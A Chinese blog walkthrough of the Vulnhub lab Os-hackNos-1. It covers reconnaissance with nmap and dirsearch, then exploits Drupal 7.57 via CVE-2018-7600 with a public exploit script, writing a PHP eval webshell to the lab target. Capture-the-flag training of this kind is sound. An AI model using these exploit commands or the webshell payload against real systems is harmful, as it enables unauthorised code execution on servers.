【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57
文章目录
前言
1.靶场搭建:
2.信息搜集:
主机探测:
端口扫描:
目录扫描:
3.分析:
4.步骤:
1.下载CVE-2018-7600的exp
2.执行exp:
3.写入木马:
4.获取webshell
5.oday,1day,nday漏洞区别
前言 什么是源码框架漏洞?
源码框架是指在软件开发过程中,为了提高开发效率、简化开发流程、提高代码质量和可靠性的基础架构和模板。
若该框架中存在漏洞,hacker便可以此漏洞,迅速发起所谓的“1day攻击”-针对那些尚未应用相应安全补丁的、使用了该漏洞框架的网站或应用进行广泛而有效的渗透,严重威胁到用户数据的安全性和服务的稳定性。
1.靶场搭建:
请参考vulnhub靶机 Os-hackNos-1_os-hacknos-1无法找到ip地址-CSDN博客
编辑->虚拟网络编辑器->更改
Kali,靶机配置两次,使其ip地址处于同一网段上。
2.信息搜集:
主机探测:
Kali:192.168.147.130
靶机:192.168.147.145
端口扫描:
nmap -sT 192.168.147.145
22/tcp open ssh
80/tcp open http
目录扫描:
python dirsearch.py -u 192.168.147.145
发现登录页面:http://192.168.147.145/drupal/
爆破
用户名:
密码:
没爆出来
换一种思路
对http://192.168.147.145/drupal/进行目录扫描
得出存活目录:
200 - 317B - /drupal/.editorconfig
->没什么东西
200 - 174B - /drupal/.gitignore
->没用
200 - 32KB - /drupal/CHANGELOG.txt
得到/drupal版本信息,2018-今, Drupal 7.57
200 - 769B - /drupal/COPYRIGHT.txt
Java/php配置
200 - 1KB - /drupal/includes/
感觉没什么东西,还是大至翻一翻
ssh
代码审计-最后考虑。
Password
注释-密码范围,看这范围直接放弃
200 - 132KB - /drupal/includes/bootstrap.inc
主要得出php版本号:5.2.4
200 - 842B - /drupal/INSTALL.pgsql.txt
->好像和数据库有关,可就开放了两个端口,浪费时间……
200 - 868B - /drupal/INSTALL.mysql.txt
->这是教怎么创建数据库?和题没有一点关系。
200 - 1KB - /drupal/install.php
->没用
200 - 1KB - /drupal/install.php?profile=default
->没用
200 - 6KB - /drupal/INSTALL.txt
->又在提版本号
200 - 7KB - /drupal/LICENSE.txt
->没用
200 - 2KB - /drupal/MAINTAINERS.txt
->一堆介绍与,可惜没有泄露重要消息
200 - 849B - /drupal/modules/
200 - 271B - /drupal/profiles/minimal/minimal.info
一个下载文件
Drupal 7.57版本的“Minimal”发行版或配置,它仅启用了少数几个核心模块(如block和dblog),
200 - 743B - /drupal/profiles/standard/standard.info
200 - 278B - /drupal/profiles/testing/testing.info
200 - 2KB - /drupal/README.txt
接口之类的描述。
200 - 744B - /drupal/robots.txt
->python爬虫的君子协定,没有关系
200 - 648B - /drupal/scripts/
200 - 129B - /drupal/sites/all/libraries/README.txt
200 - 0B - /drupal/sites/example.sites.php
200 - 715B - /drupal/sites/all/modules/README.txt
->没什么用
200 - 545B - /drupal/sites/all/themes/README.txt
->一样
200 - 431B - /drupal/sites/README.txt
sites/all/,扩展
200 - 536B - /drupal/themes/
200 - 3KB - /drupal/UPGRADE.txt
->介绍版本
200 - 2KB - /drupal/web.config
->一节源代码,与目录拼接有关
200 - 42B - /drupal/xmlrpc.php
->没用
3.分析:
Drupal是使用PHP语言编写的开源内容管理框架,既然是框架,即我们找到它框架的漏洞就能找到http://192.168.147.145/drupal/的漏洞
而我们查明drupal的版本号是Drupal7.57,最著名的是远程代码执行(RCE)漏洞
CVE-2018-7600(远程代码执行漏洞)
- 影响:Drupal 7的Form API中存在一处远程代码执行漏洞,影响Drupal 7的多个版本,包括7.57。
- 方式:通过向Drupal站点发送特制的HTTP请求,攻击者可以利用该漏洞执行任意代码。这通常涉及对表单数据或Ajax调用的篡改。
- 利用:存在专门的Python脚本(如drupa7-CVE-2018-7600.py)用于自动化利用此漏洞。攻击者可以通过这些脚本测试目标网站是否存在该漏洞,并执行命令以获取敏感信息或进一步控制服务器。
4.步骤:
1.下载CVE-2018-7600的exp
git clone https://github.com/pimps/CVE-2018-7600.git
2.执行exp:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c -l
3.写入木马:
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php phpinfo(); ?>' > rce1.php" ->输出php
python drupa7-CVE-2018-7600.py http://192.168.147.145/drupal/ -c "echo '<?php @eval($_POST[cmd]); ?> '> rce2.php" ->上码子
4.获取webshell
蚁剑连接webshell
5.oday,1day,nday漏洞区别
0day漏洞:是指那些尚未被公众发现、官方尚未发布补丁的安全漏洞。这些漏洞的存在是未知的,软件开发商和用户都未意识到其存在,但攻击者已经知晓并可以利用它们进行攻击。
特点:
1.漏洞尚未被公开披露,软件厂商和用户都不知情。
2.由于漏洞未被修补,黑客可以利用它们进行持续性攻击,窃取敏感信息或瘫痪系统。
3.由于漏洞的未知性,软件厂商需要投入大量资源进行漏洞挖掘和修复工作。
1day漏洞:指那些已经被发现并公开披露,但软件厂商尚未发布修补程序或用户尚未广泛安装补丁的漏洞。这些漏洞的存在是已知的,但由于修补程序尚未到位,它们仍然可以被黑客利用。
特点:
1.漏洞已被公开披露,软件厂商和用户都已知情。
2.虽然漏洞已知,但由于修补程序尚未发布或用户尚未更新,黑客仍然可以利用它们进行攻击。然而,由于漏洞已经公开,用户和安全研究人员可以采取一些临时措施来降低风险。
nday漏洞:nday漏洞是指那些已经被软件厂商发现并发布了修补程序,但经过一段时间后,仍有部分用户尚未安装这些补丁的漏洞。这里的“n”代表天数,表示从漏洞被发现并发布补丁到当前时间的天数。
1.漏洞已被公开披露,并且软件厂商已经发布了修补程序。
2.由于修补程序的存在,黑客利用这些漏洞进行攻击的难度相对较大。然而,如果大量用户仍未更新补丁,黑客仍然有可能找到漏洞并利用它们。
相关文章:

【渗透测试】-vulnhub源码框架漏洞-Os-hackNos-1
vulnhub源码框架漏洞中的CVE-2018-7600-Drupal 7.57 文章目录 前言 1.靶场搭建: 2.信息搜集: 主机探测: 端口扫描: 目录扫描: 3.分析: 4.步骤: 1.下载CVE-2018-7600的exp 2.执行exp: 3.写入木…...

sqli-lab靶场学习(三)——Less8-10(盲注、时间盲注)
Less8 第八关依然是先看一般状态 http://localhost/sqli-labs/Less-8/?id1 然后用单引号闭合: http://localhost/sqli-labs/Less-8/?id1 这关的问题在于报错是不显示,那没办法通过上篇文章的updatexml大法处理。对于这种情况,需要用“盲…...

Pybullet 安装过程
Pybullet 安装过程(windows) 1. 安装C编译工具2. 安装Pybullet 1. 安装C编译工具 pybullet 需要C编译套件,直接装之前检查下,要不会报缺少某版本MVSC的error,最好的方式是直接下载visual studio,直接按默认…...

Error when custom data is added to Azure OpenAI Service Deployment
题意:在向 Azure OpenAI 服务部署添加自定义数据时出现错误。 问题背景: I receive the following error when adding my custom data which is a .txt file (it doesnt matter whether I add it via Azure Cognitive Search, Azure Blob Storage, or F…...

libreoffice word转pdf
一、准备一个word文件 运行: cd /root libreoffice --headless --convert-to pdf --outdir /root/output doc1.docx 发现中文乱码: 此时我们需要给linux 上添加中文字体: centos7 添加中文字体 再次运行正常: libreoffice --h…...

java -----泛型
泛型的理解和好处 泛型是在JDK5之后引入的一个新特性,可以在编译阶段约束操作的数据类型,并进行检查。 泛型的格式为 <数据类型> import java.util.ArrayList;SuppressWarnings({"all"}) public class Generic02 {public static void…...

Springboot 文件上传下载相关问题
文章目录 关于Springboot 文件上传下载问题解决方案注意事项文件上传文件下载文件删除文件在线打开在写练习的时候,发现了一些小小的问题,已经在 上述代码中体现。① 代码路径碰到中文的时候,会有乱码,需要转换(内容中…...

【Kotlin 与 Java 互操作】Java中调用带有默认值的Kotlin函数(十四)
导读大纲 1.0.1 Java 没有默认参数值的概念1.0.2 使用 JvmOverloads 来简化调用 1.0.1 Java 没有默认参数值的概念 因此当从 Java 调用带有默认参数值的 Kotlin 函数时 1. 必须明确指定所有参数值 fun <T> joinToString(collection: Collection<T>,separator: St…...

点赞系统实现
点赞功能是社交、电商等几乎所有的互联网项目中都广泛使用。虽然看起来简单,不过蕴含的技术方案和手段还是比较多的。 下面将分享之前做的判题OJ系统的点赞系统的思路。 1.需求分析 点赞功能与其它功能不同,没有复杂的原型和需求,仅仅是一…...

c++进阶学习-----继承
1.继承的概念及定义 1.1继承的概念 继承(inheritance)机制是面向对象程序设计使代码可以复用的最重要的手段,它允许程序员在保持原有类特性的基础上进行扩展,增加功能,这样产生新的类,称派生类。 继承呈现了面向对象 程序设计的…...

C++学习笔记(37)
302、makefile 在实际开发中,项目的源代码文件比较多,按类型、功能、模块分别存放在不同的目录和文件中,哪 些文件需要先编译,那些文件后编译,那些文件需要重新编译,还有更多更复杂的操作。 make 是一个强大…...

Redis发布和订阅
Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者(sub) 接收消息 可以实现进程间的消息传递。这种模式非常适用于实时消息传递、事件通知和消息分发等场景 Redis可以实现消息中间件MQ的功能,通过发布订阅实现消息…...

计算机毕设设计推荐-基于python+Djanog大数据的电影数据可视化分析
精彩专栏推荐订阅:在下方主页👇🏻👇🏻👇🏻👇🏻 💖🔥作者主页:计算机毕设木哥🔥 💖 文章目录 一、电影数据可视…...

dhtmlxGantt 甘特图 一行展示多条任务类型
效果如图: 后台拿到数据 处理之后如图: 含义: 如上图所示, 如果一行需要展示多个 需要给父数据的那条添加render:split属性, 子数据的parent为父数据的Id即可 切记 父数据的id 别为0 为0 时 会出现错乱 因为有些小伙伴提出分段展示的数据结构还是有点问题,下面展示一个完整…...

COLORmap
在这段MATLAB代码中,surf(peaks)、map的定义以及colormap(map)的调用共同完成了以下任务: 1. **绘制曲面图**: - surf(peaks):这个函数调用了MATLAB内置的peaks函数来生成数据,并使用surf函数将这些数据绘制成一个…...

手机在网状态查询接口如何用Java进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,又叫运营商在网状态查询,手机号在网状态查询,传入手机号码,查询该手机号的在网状态,返回内容有正常使用、停机、在网但不可用、不在网(…...

mysql性能优化- 数据库配置优化
MySQL 性能优化 - 数据库配置优化 MySQL 是一个广泛使用的关系型数据库管理系统,但随着数据量的增长和访问频率的提高,其性能可能会成为瓶颈。为了保持高效的性能,除了应用层的查询优化和索引优化之外,数据库配置优化 也是非常重…...

(算法)大数的进制转换
题目描述 将一个长度最多为30位数字的十进制非负整数转换为二进制数输出输入描述: 多组数据,每行为一个长度不超过30位的十进制非负整数。 (注意是10进制数字的个数可能有30个,而非30bits的整数)解析 例子 :123&…...

演示jvm锁存在的问题
文章目录 1、AlbumInfoApiController --》testLock()2、redis添加键值对3、AlbumInfoServiceImpl --》testLock() 没有加锁4、使用ab工具测试4.1、安装 ab 工具4.2、查看 redis 中的值 5、添加本地锁 synchronized6、集群情况下问题演示 jvm锁:synchronized lock 只…...

Android SharedPreference详解
Android SharedPreference详解 SharedPreferences作为一种数据持久化的方式,是处理简单的key-value类型数据时的首选。 一般用法: //demo是该sharedpreference对应文件名,对应的是一个xml文件,里面存放key-value格式的数据. SharedPreferences sharedPreferences…...
论文阅读 | 可证安全隐写(网络空间安全科学学报 2023)
可证安全隐写:理论、应用与展望 一、什么是可证安全隐写? 对于经验安全的隐写算法,即使其算法设计得相当周密,隐写分析者(攻击者)在观察了足够数量的载密(含有隐写信息的数据)和载体…...

Arthas jvm(查看当前JVM的信息)
文章目录 二、命令列表2.1 jvm相关命令2.1.3 jvm(查看当前JVM的信息) 二、命令列表 2.1 jvm相关命令 2.1.3 jvm(查看当前JVM的信息) 基础语法: jvm [arthas18139]$ jvmRUNTIME …...

【c++】介绍
C是一种强大而灵活的编程语言,广泛用于开发各种应用程序和系统软件。它结合了C语言的高效性和面向对象编程的特性,为程序员提供了丰富的工具和功能,以满足各种编程需求。 C的历史可以追溯到上世纪80年代,最初由丹尼斯里奇和贝尔实…...

JavaScript typeof与instanceof的区别
typeof 和 instanceof 都是 JavaScript 中的运算符,用于检查数据类型或对象的类型。它们有不同的用途和适用场景: 1. typeof 作用:返回变量的数据类型,适用于原始数据类型(如 number、string、boolean 等)…...

C++11 可变的模板参数
前言 本期我们接着继续介绍C11的新特性,本期我们介绍的这个新特性是很多人都感觉抽象的语法!它就是可变的模板参数! 目录 前言 一、可变的模板参数 1.1可变的参数列表 1.2可变的参数包 1.3可变参数包的解析 • 递归展开解析 • 逗号…...

手机在网状态查询接口如何用PHP进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,即输入手机号码查询手机号在网状态,返回有正常使用、停机、在网但不可用、不在网(销号/未启用/异常)、预销户等多种状态。 二、手机在网状态查询适用哪些场景…...

MATLAB中多张fig图合并为一个图
将下列两个图和为一个图 打开查看-----绘图浏览器 点击第一幅图中曲线右键复制,到第二幅图中粘贴即可完成...

Java启动Tomcat: Can‘t load IA 32-bit .dll on a AMD 64-bit platform报错问题解决
🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 专栏介绍 在软件开发和日常使用中,BUG是不可避免的。本专栏致力于为广大开发者和技术爱好者提供一个关于BUG解决的经…...

基于微信小程序的家教信息管理系统的设计与实现(论文+源码)_kaic
摘 要 随着互联网时代的来临,使得传统的家教模式已不复存在,亟需一种方便、快捷的在线教学平台。因此,利用Java语言作为支撑和MySQL数据库存储数据,结合微信小程序的便利性,为用户开发出了一个更加人性化、方便的家庭…...

【Android】BottomSheet基本用法总结(BottomSheetDialog,BottomSheetDialogFragment)
BottomSheet BottomSheet 是一种位于屏幕底部的面板,用于显示附加内容或选项。提供了从屏幕底部向上滑动显示内容的交互方式。这种设计模式在 Material Design 中被广泛推荐,因为它可以提供一种优雅且不干扰主屏幕内容的方式来展示额外信息或操作。 具体…...